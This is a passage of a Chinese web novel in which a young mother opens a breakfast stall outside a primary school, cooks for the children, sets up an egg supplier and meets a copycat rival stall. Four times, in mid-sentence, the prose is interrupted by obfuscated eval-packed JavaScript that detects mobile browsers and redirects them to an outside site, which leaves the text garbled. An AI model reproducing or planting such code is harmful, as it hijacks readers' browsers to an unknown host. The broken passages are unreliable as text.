四条巷的尽头往右转，再走两百米左右就是钢铁小学。校门口一左一右已经有人摆摊，左边这家卖的是糕点和包子，右边这家卖各种粥类和豆浆。 校门口两家早餐摊已经摆好，苏念想了想把摊子选在右边，距离卖粥的差不多二十米。 她今早只准备了茶叶蛋和菜煎饼，没有任何喝的品类。和右边卖的粥不冲突，如果摆在左边，品类冲突势必会有争吵。 摊子支好，拜托刘春霞帮忙看一会儿，她连忙把江颜送进托班，急匆匆的赶回来接替让人家上班。 点燃煤炉，把浸泡一夜的茶叶蛋放在煤炉上加热。弄好，又把板锅拿出加热，打算先煎一个菜煎饼打样。 校门口陆陆续续来了人，一时间喧闹不已。 王志刚是钢铁小学一年级年级主任，一早睡过头，急匆匆的洗漱出门，夹着自行车一路狂奔，庆幸学校门口有卖早餐的，不吃饭忙一个上午的工作真是吃不消。 十分钟的路程，快到校门口时闻到了一股香味。 定睛一看，才发现原本卖粥的摊子旁边新开了一家早餐摊，一个模样二十来岁的年轻女子正低头做吃食，摊前站了两三个人。不同于别人家餐车里放卖吃的，而且一辆改装好的餐车，正对面木板上写着茶叶蛋三角钱一个，菜煎饼四角钱一个。 王志刚把自行车停在路边，走上前，发现台面干净整洁，摆着六个铁盆，里面放着不同的蔬菜。此刻，摊主做好煎饼递给顾客。香味不停的钻进鼻间，诱惑着人。 苏念拿着小盆把下一个顾客要的蔬菜扔进盆里， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491024|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬眼见来人，顺口说了句，“吃什么？菜煎饼四角钱一个，茶叶蛋三角钱一个。” 只见女人手脚麻利的弄出一个菜煎饼递出，王志刚回神，毫不犹豫的要了一个菜煎饼和两个茶叶蛋。 王志刚给了钱，接过新鲜出炉的菜煎饼和茶叶蛋，挤出人堆，跑到隔壁又买了豆浆，拎着早饭急匆匆往办公室赶。 七月初放暑假，学生们再过半个月期末考。老师们的工作量巨大，时常有人忙的吃不了早饭。 王志刚进办公室时有的同事已经开始上课，办公室只剩下两三人在忙碌。他刚把饭放下，好友拿着茶杯闻着味过来，盯着桌上的早饭。 “老王，你这早饭丰盛的很。你是不是在校门口新开的摊子上买的？” “是啊，老李。”王志刚嘿嘿一笑，“我闻着味道不错，买回来尝尝。这饼听老板娘讲叫菜煎饼，也不贵，四角钱一个。” “闻着味是不错，我今早也看见这摊子了，老板娘蛮年轻的，东西做的也干净。可惜早上吃过饭了。” “我看你买两个蛋，分我一个尝尝，你也吃不完，这香味勾的我肚子里馋虫出来。”老李名叫李向前，人送外号老李饕，顾名思义喜欢吃，今年三十六岁，教钢铁小学三年级数学，和王志刚的关系最好。 王志刚着急吃饭，连忙拿一个茶叶蛋递出去，直接赶人走，先扒了一个茶叶蛋。 剥去蛋壳，蛋白像琥珀一样，纹路十分美丽，茶的涩味混着八角花椒等香料，恰到好处。 一口咬下，蛋白微弹、蛋黄粉腻，能够看出摊主的手艺，咀嚼间刚顺进的卤汁平添一股风味，美味的紧。 如果说菜煎饼新奇，那么茶叶蛋几乎街头巷尾皆能买到。他也吃过不少家的茶叶蛋，包括家里的爱人也时常会煮一些，但像今天吃的味道倒是第一次。有人煮会过了火候，蛋白发硬，蛋黄吃着噎人发腻。 王志刚一口气把两颗茶叶蛋顺下肚。茶叶蛋吃美了，让他对菜煎饼充满了无限的期待。赶紧喝口水过过味，迫不及待的抓起菜煎饼送入口中。 几乎是瞬间，眼睛亮了亮。 外皮焦香酥脆，蔬菜清甜，他加了一点辣椒，味道更上一层楼。 王志刚边吃边后悔刚刚茶叶蛋买少了，他家爱人在县政府工作，他在钢铁小学工作，两人工作都忙，大部分时间都是在外面解决吃饭的问题。要不是家里的岳丈岳母帮忙接送小孩，把孩子接回家吃饭，两人肯定忙不过来。 一块煎饼吃完，王志刚摸着满足的胃，抬手看了看时间，拿起课本往教室走，一边盘算着等会儿第一节课上完去校门口看看能不能多买几个茶叶蛋带去给岳丈岳母和孩子们吃吃。 苏念不知道茶叶蛋和菜煎饼已经为她积累了忠实客户，用心接待着每一个到摊位的客户。 二十多个茶叶蛋几乎没要一刻钟售罄，预备的菜煎饼也几乎消耗的很快，售卖速度远超她的想象。 本身她第一天开业预备的量不多，但开门红是让人开心的。 见茶叶蛋销量喜人，苏念思考着扩大生产量和去哪里批发鸡蛋。 5. 手打鱼丸汤 钢铁小学打了上课铃，苏念煎的饼皮也只剩下两三张，预备的蔬菜也几乎见了底。 上班时间，路上的人也减少。苏念看着剩下的材料，又看了看两边的早餐摊主坐在小板凳上百无聊赖，当机立断拿起铲子开始煎饼。 “小姑娘，我看你快收摊了，够不够卖我一块饼啊？” 苏念只顾着埋头摊煎饼，想着把剩余的材料用完，给两边摊主送一块，拉近关系。结果摊的正起劲时，有人叫，抬头一看是卖粥摊主。 右边的卖粥摊主是个中年女人，能够看出是个经常做事的人，干活利索。身着砖红色麻布上褂，下搭一条黑色半裤。挽起的发髻里隐约能见几根白发。女人正笑眯眯的望着自己。 苏念，“有，今天摆摊初来乍到的，刚想给你送一块尝尝味道，也好给我提提意见。” 女人一脸惊讶，继而笑眯眯的接了饼。两人一来一回的交谈起来。 原来女人名叫孙菊，纺织厂老职工，干了十几年，厂子效益不好开不下去，老职工要不被裁员要不办停薪留职，总之一句话，个人得自谋生路。没办法，才听人介绍卖粥。她爱人是钢铁厂领班，效益比她好，继续在厂子里干着，下班过来帮她收摊一起回家。两人的挣的钱加一起，生活倒也过的去。 苏念听出对方语气里的伤感，却也无可奈何。时代变革浪潮下，个人力量渺茫。 “小苏，你是不知道，因为你的饼，我这边的粥和豆浆都卖出去不少。”孙菊话锋一转，隐去语调里的悲伤，眼睛亮晶晶，“你瞧我这记性，你等等啊，给你尝尝我做的豆浆？你看看味道怎么样？” 孙菊一路小跑回摊子，快步拿了一袋豆浆，递给苏念。 见对方笑眯眯的眼睛，苏念放下手里的活，喝了豆浆。 “怎么样？”孙菊追问，“不好喝直接说，不瞒你说，我摊子上豆浆最不好卖。” “挺好喝的。”苏念给出肯定，随即斟酌用词，“如果火候能控制好，减少一些焦味，豆浆销量应该能上来。” 孙菊丝毫没有被说的恼羞成怒，“我回去在研究研究火候。” 苏念见她拿着饼要走，叫住，说了煮豆浆的诀窍，见对方情绪高扬的离开。 继续手上的工作，煎饼出锅，快步递给左边的包子摊。东西全部卖完，苏念直接收摊准备回家。 先将车子送回家属院，洗了把脸，揣着小包上街买菜加考察鸡蛋的价格，货比三家。 市里已经有最大的农贸市场，里面东西齐全，有瓜果蔬菜，海鲜鱼类样样俱全。市场位于城郊，露天大棚，各类商品分区。 苏念进去直奔水产区，她打算中午给孩子们做手打鱼丸吃，剩下的鱼骨做一个麻辣水煮鱼。 刚走近水产区，各个摊位的老板卖力吆喝，希望顾客能选择他们家。 苏念打算买一条草鱼，挨家挨户的看了一圈，打听的价格，最终选择入口处第二家买。摊子是夫妻俩看，模样看着三十来岁，人看着也憨厚，给的价格公道，还提供处理鱼的服务。 “小姑娘，这条怎么样？”男摊主一把拎着一条活力无限的草鱼，憨笑，见苏念点头，直接拿到案板上处理。 男摊主是杀鱼的一把好手，干净利落的刮鱼鳞、去骨、剁鱼骨，一整套流程堪称赏心悦目。 接过摊主处理好的鱼，苏念付了钱，记下摊位走了，又去买了些青菜等，拎着东西回家进厨房。 先拿出一半的鱼肉，清洗干净，拿起刀快速的片成大小厚薄均匀的鱼片，放在一旁，倒入一点清水养着，预备晚上做水煮鱼片吃。 接着做最费功夫的手打鱼丸。取出剩下的另一半鱼肉，拿着铁勺逆鱼刺方向刮肉，得到最细腻的鱼茸。有人会选择用刀剁鱼肉，再摔打，但这种方法是不好的，容易混进碎鱼骨，影响口感。 把刮好的鱼茸全放在一个盆里，加一点盐，顺时针方向搅拌和摔打鱼茸，在摔倒的过程中多次加入葱姜水。等色泽鲜亮，鱼茸变得粘手，不容易掉时，说明已经出胶，最后加入蛋清和少许淀粉，搅拌均匀。 苏念看了一眼时间，赶忙出门接孩子，把三个小孩接回来，开始烧火煮水。 三个孩子闹着帮忙烧火，苏念见许军烧火像模像样，便也让三个孩子留下烧火玩。 水烧开，把鱼浆从虎口挤出放入热水里定型。等鱼丸漂浮在水面，再煮两三分钟，用漏勺捞出放入早就准备好的凉水里。重复几次，鱼丸做好。 另起锅，水煮沸，丢入一点紫菜调味。放入打好的鱼丸，煮两三分钟，拿汤碗盛出。 又快手快脚炒了一道时蔬和番茄炒蛋，支起桌子把菜全部摆上。 “哇塞，好香啊。”忠实小粉丝许曼丽率先发出感叹，“我能喝三碗！” “锅里有的是，想喝几碗都可以。”苏念被逗笑，一边帮小反派吹凉汤碗。 许军，“苏阿姨，您做饭辛苦了。” 苏念，“不辛苦，你们赶快吃饭，吃完睡一会养养精神，下午上课不打迷糊。” 见汤碗差不多吹凉，顺手放在小反派江颜面前。 她没错过小反派眼底的错愕以及发愣，直接说，“颜宝，鱼丸不烫，你多吃点，正是长身体的时候。” 江颜望着女人脸上满是温柔，一时恍惚，回神，抱着汤碗，犹豫片刻，有些紧张说出了那句感谢。 “谢谢妈妈。” 她记得之前叫女人妈妈，是会被斥责的，是不被允许叫的。可是，妈妈最近这段时间，真的对她很好，会照顾她，会让她吃饱饭，每天给她洗的干干净净的，也不会动不动凶她，睡觉前会给她讲睡前故事，和之前的她比像换了一个人。 她喜欢现在的妈妈。 “真乖，宝宝，努力吃饭哦。”苏念看清了小姑娘眼底的不安，笑着摸了摸小孩的头。 “嗯！” 被肯定的小孩脸上终于绽放开怀的笑容，埋头和许曼丽比赛吃饭。 见小孩开心，苏念心情也很好。端起辛辛苦苦做的鱼丸汤，喝了一口，简直鲜掉眉毛。 夹了一颗鱼丸放入口中，细细咀嚼，鱼肉的鲜甜慢慢在口腔中释放，越嚼越甜，一碗汤下去，背上出了一层薄汗。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491025|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 舒爽。 “小苏，在不在家啊？” 院门口传来拍门声以及熟悉又陌生的女声，苏念让三个孩子好好吃饭，站起身去开院门。 “孙嫂，你咋来了？”来人正是卖粥的孙菊，苏念连忙两人迎进院门。 “我来是和你说一声，你今天收摊后有个瘦瘦高高、戴着眼镜的小学老师来买饼。没看见你，和我打听你家住址的。我直接和他讲咱两家住的近，我帮他捎个信。” 两人早上交流见是一个家属院住，直接交换了详细家庭住址。 “他说明天想要在你这定六个茶叶蛋，四个菜煎饼。”孙菊一口气说完，伸头看了看屋里，“你们吃饭，我先回去了，明天记得来摆摊。” 苏念摊的煎饼生意火爆无形中给她带了不少生意，她自然乐意帮忙传话。而且人家对象是家属院里第一个挣大钱的人物，两口子真的是一路人，有生意头脑。 “孙嫂，等一下，我给你端一碗鱼丸汤回去。”没想到这么快能有回头客，苏念心里挺高兴，见人想走，急忙拉住，“你带回去给孩子们尝尝。” “我不能要，鱼贵，我没付钱，不好意思要。明天记得提前做好煎饼，人家学校老师赶时间。”孙菊一听，急忙摆手，快步离开小院。 望着跑远的女人，苏念无奈的笑笑。她何尝不知道鱼价不便宜，但两人同是摆摊的，广交善缘。 回屋和三个孩子吃完饭，睡完午觉，送回学校。她揣着钱继续跑市场，按照今早的销量来看，茶叶蛋有市场有销量，可以扩大生产，明天的煎饼可以多摊一点。等两款产品销量稳定再调加新品。 早上一共卖了三十个煎饼和二十五个茶叶蛋，一共赚十九块五角元，刨去成本十块二角，净利润在九元三角钱，整体的利润还是可以的。 鸡蛋当时按照零售价一块八一斤买的，三十个买了大概三斤。 苏念先去供销社询了价，谈价不合适。转而跑去农贸市场，各个摊位比价讲价，都没有合适的，找的摊子最低给到的批发价只能是一块六一斤。 没找到合适的，苏念长舒一口气，采购了一些明天菜煎饼的食材，打算继续去供销社买鸡蛋，后面再继续去跑，她不相信整个平江市找不到合适的。 拎着蔬菜送回家，再提着篮子去供销社买鸡蛋。这次买了五十个，有点重，慢悠悠的回家。 六月的平江市，路上的树木开枝散叶，给道路遮出一片绿荫。 苏念享受难得的宁静，直到被前面的哭喊声拉回神。 平江大道和四条巷的交汇处围着里三层外三层的人，苏念走近见一个头发花白的老爷爷坐地上哭天喊地，抓着一个身着布衫、裤脚缝缝补补的年轻小伙，嘴里嚷着小伙欺负老年人、从他那边买的鸡蛋是坏的不想赔。 被抓的小伙模样看着十六七岁，嘴唇抿紧、倔强的脸色通红，嗫嚅的说鸡蛋是新鲜的、早上从乡下才带进城里卖。 老爷爷精神矍铄，嘴里哭天抢地，绿豆大的眼睛却冒着精光。 地上满是鸡蛋液，隐约能闻到坏鸡蛋的腥臭味。 6. 鲜香麻辣水煮鱼 围观人群七嘴八舌的说着，小伙急的眼眶泛红，快要哭出来，没有办法掏出口袋里七零八散的钱币，颤抖的手数着钱，递给老人。 老人接过钱，立马止住哭声，擦了擦丝毫不存在的眼泪，站起身，把篮筐里的鸡蛋递给小伙，拍拍小伙肩膀，扬长而去。 主人公离开，围观的人也散去。只留下小伙望着鸡蛋手足无措，蹲在原地，眼泪止不住的流。 整个人犹如落雨的小狗，被主人抛弃，蹲在原地，任凭风吹雨打。 苏念看着有些不忍，她当初刚上社会，吃了不少亏，很多时候是把委屈打碎牙齿往肚里咽。 “小伙子，你这些鸡蛋怎么卖啊？” 小伙名叫钱宇，今年十六岁，和爷爷奶奶住在平江市的洪湾村，爷爷奶奶爸爸妈妈在农村种地、种菜、养鸡养鸭维持生计。穷人的孩子早当家，他是家里的老大，下面有一妹妹一个弟弟，家里没有能力供那么多孩子上学。作为老大，他上完初中就下学了，他除了帮忙下地干活，也会时不时的打打零工挣钱。家里的积攒的鸡蛋数量多了，他也会带到城里卖钱。 今天早上带着积攒好的鸡蛋进城卖，运气不错，刚进城被一个老爷爷买了一多半的鸡蛋。他挺开心，剩下的慢慢卖，结果刚刚老爷爷带着鸡蛋怒气冲冲的找他，说他鸡蛋坏了，让赔钱，他一看鸡蛋就不是自己家的，自家是土鸡蛋，蛋壳混着泥。老爷爷拿过来的鸡蛋干干净净。 可他嘴笨，有心辩驳，也被追着骂，实在受不住，只能退钱。可是，家里的弟弟妹妹都指着卖鸡蛋的钱交学费。想到不仅没有钱，把鸡蛋也折了。 钱宇手足无措，只恨自己识不清人，被坑了。正沉浸在悲伤中时，一道温柔的嗓音从天而降，他抬起头，只见模样俊俏的姐姐笑着询问自己鸡蛋的售价。 “这鸡蛋不是我们家的，不知道坏没坏，不能卖给你。”钱宇不知道姐姐有没有看见刚刚那番争执，他知道把鸡蛋卖出去，他能解决眼前的困境，但良心告诉他，不可以。 听见小伙的回答，苏念满意的笑了。她不是没有想过小伙可能蒙她，把鸡蛋脱手掉。但小伙选择诚实做事，她也愿意拉他一把。 “姐姐，你已经买了鸡蛋。你刚刚也看见了吧，我真的没卖不新鲜的鸡蛋。我带进城的蛋，都是家里慢慢积攒下来的。”钱宇瞥见女人手里的鸡蛋，“我自认倒霉，但我不能做亏心事。” 苏念越听越满意，“你家鸡蛋卖多少钱一斤？” “一块三一斤。”钱宇下意识的说。 “实话告诉你，姐姐我是做餐饮的，我看你和你也投缘。”苏念听见报价，“你们村里应该有不少积攒鸡蛋等着卖，我给你指一条生财路，你去村里收购鸡蛋，收来的鸡蛋卖给我，我按一块三角五分一斤价格收你的鸡蛋。” “既然你说你手里的鸡蛋不是你家的，我今天就不收。”苏念指了指路，报了家庭地址，“你明天下午先送一批鸡蛋到我家，品质过的去，我全收。至于利润，你想挣多少，看你自己收别人的鸡蛋订多少。” 钱宇越听眼睛越发亮，他清晰的意识到这桩生意的利润有多可观。他上学时脑子就聪明，如果不是家庭困难，他不会下学谋生。 “行，姐。我叫钱宇，我明天下午三点半准时给你送过来。”钱宇一扫眉间阴霾，摩拳擦掌，打算大干一番。 苏念笑着交换了姓名，两人分别散去。她没给定金，指了一条生财路，钱宇能立马领会她的意思，证明脑子活络。至于，能不能成功收购鸡蛋，就看他的能力。反正她需要价格低廉品质良好的鸡蛋，钱宇需要挣钱的机会，这桩生意属于互惠共赢。 苏念拎着鸡蛋直奔厨房，见时间尚早，按照流程把鸡蛋预处理了一下。接着准备晚上的饭。 拿出清水养的鱼肉，仔仔细细清洗后拿刀切成薄片，放陶瓷汤碗里，放泡好的葱姜蒜水、调味品、一颗鸡蛋清，一点点的搅拌入味，最后倒入一些油封层。 又准备了一些孩子们喜欢吃的菜，太阳已经快落山。 早上说好刘春霞下班接孩子们放学，苏念忙完备菜，才继续不急不忙的制作茶叶蛋。 巷子里传来孩子们放学的嬉闹声，苏念知道孩子们放学，锅里添了把柴火继续卤茶叶蛋。 院里响了动静。 “妈妈。” 糯糯叽叽的嗓音伴随着脚步声冲进后院，苏念见江颜脸上洋溢着笑容跑来，刘春霞和两个孩子跟在身后。 “我今天会写自己的名字啦。”江颜冲进厨房，兴冲冲的说。 苏念笑着把小朋友拥进怀里，不吝啬的给出鼓励，“颜宝真是太棒啦。” 能明显的感觉到自从小反派叫出那句妈妈后，整个人前所未有的亲近她。 “小丫头多黏你，咱们今晚吃啥？”等三个小孩挨个和苏念亲近完跑出去玩耍，刘春霞边打趣边坐下烧火。 自打那天一起吃过饭，刘春霞干脆商量晚上一起吃饭，手工费多付一点，菜钱每天结算。苏念一合计不麻烦，两人一拍即合。 苏念，“今晚吃麻辣水煮鱼。” 锅烧热，倒入菜籽油，放入葱花，一下激发出香味，飘满整间屋子，苏念放入一小块火锅底料，快速翻炒，放入清水，盖上锅盖。 “小苏，你今天生意怎么样啊？” 刘春霞知道苏念早上摆摊，忍不住关心生意的情况。 苏念，“还可以，已经有预定单了。” “好好干，有啥需要帮忙的说一声。”刘春霞安下心。 锅盖冒着蒸汽，苏念揭开，放入提前备好的蔬菜烫熟捞出铺底，最后把鱼肉下入烫熟捞出。 最后重新热油，泼在花椒和干辣椒段上，刺啦一声，香味扑鼻。 刘春霞闻着味忍不住咽口水。 苏念又快手炒了个西红柿鸡蛋和青菜，和刘春霞把菜端出来，准备开饭。 挨个落座，留下一些菜给下晚班的许健国。其余人正式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491026|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开饭。 早就馋的掉口水的刘春霞率先动筷子，夹了一筷子裹满红油的鱼肉送入口中，不小心的咬破一粒花椒，麻味蔓延在舌尖，急忙吐出剩余颗粒，细细品味。 辣椒混着花椒，麻辣鲜香，鱼肉鲜嫩。咽下肚，急忙扒一口米饭。 爽快。 刘春霞满足的发出喟叹，再一抬头，发现小孩子们吃的额头上全是汗，却不肯停一筷子，忍不住失笑。 “怎么了？”苏念见她失笑，有些奇怪，“水煮鱼不合你胃口？嫂子。” “没有，你做的菜好吃。”刘春霞捧着碗，有些失笑，“我是在想，自打你搬回来，我们全家的伙食水平全部上一个层次。你有空还会帮我接孩子，我不知道轻松多少。真的谢谢你了，小苏。” 刘春霞说的是实话，她昨天晚上和老许感慨，自打苏念回来，两人轻松很多。伙食外包出去，也不担心孩子们吃不好。没了负担，两人工作效率提升了不少。 “没事，嫂子。你和许大哥钱到位了呀。”苏念笑着回嘴，两人相视一笑。 老话说得好，远亲不如近邻。顺手多做饭，也不是什么麻烦的事情。更何况对方钱财给到位，她也没吃亏。有些时候，刘春霞也会帮忙。忙的时候，会帮小反派洗澡收拾啥的，她也轻松不少。 吃过饭，两人各司其职。刘春霞帮着收拾了厨房，带着三个孩子洗澡洗漱，苏念继续留在厨房准备明天摆摊的东西。 茶叶蛋煮好，放在一旁入味。苏念又把餐车擦洗一遍，把缺的调味料补补齐。 夜幕降临，四条巷嬉闹玩耍的孩子们被家长一一的叫回家，巷子重新归于一片安静，苏念擦完餐车，扶着腰长舒一口气，仰望头顶的星空，忽闪忽闪，犹如小时候记忆中那般璀璨。 “妈妈。” 就在苏念忙中偷闲欣赏夜晚星空，身后传来颜宝的声音，只见刚洗过澡的小孩白白净净的，头发被刘春霞一把抓扎在脑后，小小的个子站在院子里，萌萌的。 “颜宝，怎么不到床上睡着呢？”苏念把小孩拉到身边，想她上辈子专注搞事业，事业就是她的孩子，如今一朝穿越，有个小萌物突然叫她妈妈，感觉挺神奇的。 江颜，“等你睡觉，妈妈，你今天累不累啊？” 苏念突然发现，自打中午小朋友开口叫了第一声妈妈，之后说的每句话都喜欢叫。有些忍俊不禁，“不累，你先回床上，我洗漱一下马上过来陪你睡觉。” 不得不说，小孩子真的是小天使，只要你对她好，她就会全身心的信任喜欢你。即使原身之前那么对待她。现在感受到自己给予的善意，依旧能重新敞开心扉的接纳自己。 哄完小朋友回床上睡觉，苏念快速的洗澡上床睡觉。 一夜好眠，太阳从东边升起。 吃过早饭，刘春霞两口子分批送三个孩子上学。苏念推着车准备出摊。 结果，刚走近钢铁小学门口，见孙菊满脸愠色的向她走来。 7. 恶性竞争 “孙嫂，大清早的怎么生气了？”苏念推着车迎上去。 “还不是刘素华惹的，我看你昨天的煎饼喂狗肚子里去，狼心狗肺的东西。”孙菊气呼呼的，“小苏，你快想想办法。” 刘素华，左边包子铺的老板娘。昨天剩下的最后一块煎饼给了她。苏念看向对方的摊子，她对象卖包子，她在摊煎饼，十成十的模仿。摊子前排了不短的队伍。 苏念想过后期会出现竞争对手，所以听见孙菊说刘素华模仿她卖菜煎饼也没什么惊讶。昨天给的煎饼是为了交朋友，成为竞争对手也是预料之外意料之中的想说的事情。 “小苏，你怎么一点也不着急。”孙菊见苏念一点也不着急，“我早上看过了，刘素华不仅模仿你卖菜煎饼，价格还比你低。” 苏念笑着安抚了一下焦躁的女人，不急不缓的摆摊准备开业。 “你怎么不着急啊？”孙菊接过茶叶蛋，一边咽口水，一边觉得自己有点皇帝不急太监急。 “嫂子，现在正是早高峰，你赶快回去做生意。”苏念顿了顿，给出保证，“你放心，我心里有数的。” 同行竞争是必然的事情，如果出现竞品即手忙脚乱，则说明对自己的产品没有信心。尤其是餐饮行业，最终的竞争力会落在菜品的口味上。 模仿，只模仿外表是没有用的，真正的精髓在菜品的口味上。 她，相信自己的手艺。不过，既然对方出手抢她生意，她也不会手软任人欺凌。 苏念心里一遍琢磨着怎么反击，一边接待客人。 “老板娘，我昨天预定的茶叶蛋和菜煎饼做好了吗？” - 钢铁小学三年级教师办公室，王志刚乐滋滋的领着四份菜煎饼和六个茶叶蛋进办公室，准备坐下好好享受美食。结果，屁股没挨着凳子，一份菜煎饼放在他的面前，随之而来的是李向前哀怨的眼神以及抱怨。 “小王，你真是害惨我了。昨天看你吃的菜煎饼，馋得我昨晚没睡着觉。今天起床洗漱完直奔校门口买了一份，吃着味道也不行啊。” 人送外号老饕，李向前不会放过任何一份美食。昨天闻着王志刚的菜煎饼馋的他一晚没睡好觉。兴冲冲买了一份，结果味道差强人意。什么外皮酥脆焦香，配着的菜咸香合适。 全是狗屁，他严重怀疑王志刚没吃过好的。 王志刚面对莫须有的质问，一时间有些发愣，回过神坐在椅子上，将买的东西放在办公桌，望着老李的那份餐，福至心灵地说，“老李，你是不是买错摊子了？” 两份餐外表差不多，可是仔细看是有区别的。他自己买的菜煎饼是牛油纸加塑料袋组合包装的，饼先用牛油纸包裹，再用塑料袋装，干净卫生，不容易脏手。 而李向前的饼则是用报纸包裹着，能够看出摊主是为了节省成本。 “难道不是一对夫妻的摊子？老板娘给我摊的饼。”李向前一般吃食堂，寻找美食也会去饭馆吃，很少在校门的解决早饭。 “不是啊。”王志刚举了举煎饼，指着牛油纸说，“我买的这家摊主是个年轻的老板娘，一个人开摊，用牛油纸裹饼，干净卫生。” 又指了指李向前的饼，“你买的这家一看就不行，老板娘一看就舍不得花钱。我早上看见了，她家原先卖包子的，味道一般，果腹可以，味道不能追求。” 王志刚估摸着应该是小老板娘生意好，惹的其他家眼红。 “原来是这样。”李向前点点头，拿起自己的煎饼，想了想继续往嘴里塞，同时瞥向王志刚的办公桌，眼睛一亮，“小王，你让我一份让我尝尝，我给你钱。” “你不是在吃嘛。”王志刚一见饼被惦记，假装护食，“我自己刚好够吃。” “我这不是怕浪费嘛，等会上课，我也没时间出去买。今天吃不到，我估计抓心挠肝。”李向前捶胸顿足。 他是从苦日子里过出来的，如今生活条件好了，口舌之欲是尽可能的满足自己。 看着李向前那样，王志刚忍不住失笑，递出一块饼，把人打发走，才开始享用自己的美食。 李向前捧着煎饼回自己座位上，拿茶杯喝一口水漱嘴，吐出，才开始吃从别人口中抢来的煎饼。 一口下去，外皮酥脆焦香…… 直到半块煎饼下去，李向前才回过神来，终于明白王志刚昨天为啥对煎饼赞不绝口。味道是真的绝，他自己买的菜煎饼外皮软塌塌的，像被水泡过一样，菜丝熟透没有滋味。反观王志刚买的饼，外皮焦香，包裹的菜丝有滋有味，带着一点点嚼劲。 李向前一边吃，一遍琢磨着明早一定要亲自去摊子前瞅瞅，看看能不能发现新美食。 苏念不知道因为一份菜煎饼已经有人惦记上摊子的其他美食，她只知道铲子快抡出残影，面前排了一小长队。 第一天试营业业绩好，她今天准备的量比昨天多一点，本来担心卖不出，结果多余担心。 忙不过来，孙菊见状，直接把自家摊子支在旁边，帮着卖茶叶蛋。 结果没想到，连带着自家改良过的豆浆也卖的火爆，一时间，乐的合不拢嘴。 李志新是小学三年级的学生，爸爸妈妈每天忙着上班没时间管他，给他一点钱让他自己买着吃，家附近学校周遭的饭店基本吃了个遍。 早上起床迟，没时间买早饭，直接骑着自行车到学校门口准备买个包子垫垫肚子，见右边新开的摊子前排了三三两两的人，一时有些好奇，见时间早，也排了过去。 闻着味道不错，买了一个加辣的煎饼和两个茶叶蛋，拎着早餐踩着上课铃声进了教室。 把早餐塞桌肚里，上第一节课。第一节是语文课，任课老师是个三十岁中年妇女，剪学生头，戴着黑框眼镜，嘴里念叨着课文，人送外号灭绝师太，只要你犯错，绝对挨手板。 不同于同桌郑周三好学生，李志新向来不是好学生，天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491027|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生爱动，一坐板凳屁股像着火，坐不住。加上早上没吃饭，桌肚里不断传来的早餐香味，更加勾的他无心听讲。 如果是其他老师的课，他可能会偷偷的吃两口，但灭绝师太的课，他是绝对不敢的。 犯错真的会挨打。 眼神不住的瞟向煎饼，只盼望着快点下课。 一节课四十五分钟，李志新神游天外三十分钟，剩下的五分钟看着数着钟表。 钟声响起，古板的灭绝师太还没出教室门，李志新迫不及待的掏出饼，一口咬下去，眼里止不住的惊艳。 “好吃！” “李志新，你吃的啥饼？” “菜煎饼，学校门口新开的那家，我早上可是排队买的，生意挺好。”李志新嘴里塞的鼓鼓囊囊的，一边回答着问题，“郑周，我记得你早上也是买着吃的，你可以试试，味道挺好。” “给你一个茶叶蛋。” 郑周是他哥们，两个人同病相怜，父母都很忙顾不上他们，得自己拿钱吃饭，两人经常在一起交流哪家店好吃实惠。李志新想了想分了一个茶叶蛋给他。 “尝尝，我闻着她家茶叶蛋味也不错。” 郑周接过茶叶蛋，鼻间飘进香味，忍不住扒开蛋壳，刹那，他知道味道肯定不错。 “咋样？茶叶蛋味道咋样？”李志新一份煎饼下肚，满足的喝了口水顺顺，见好友一个茶叶蛋也下肚。 “味道不错，决定明天去买份煎饼尝尝。”郑周喝了口水，下了决定。 课间，教室里喧嚣一片，同学之间追逐打闹。 “你俩的煎饼是不是在校门口年轻阿姨家门口买的？” 李志新和郑周商量着中午去哪家店解决中饭，结果见班上的常年成绩第一、寡言少语的好友一脸笑意的看着他们。 “是……是吧？”李志新有些迟疑，“咋了？” “这是我家邻居阿姨开的早餐摊。” 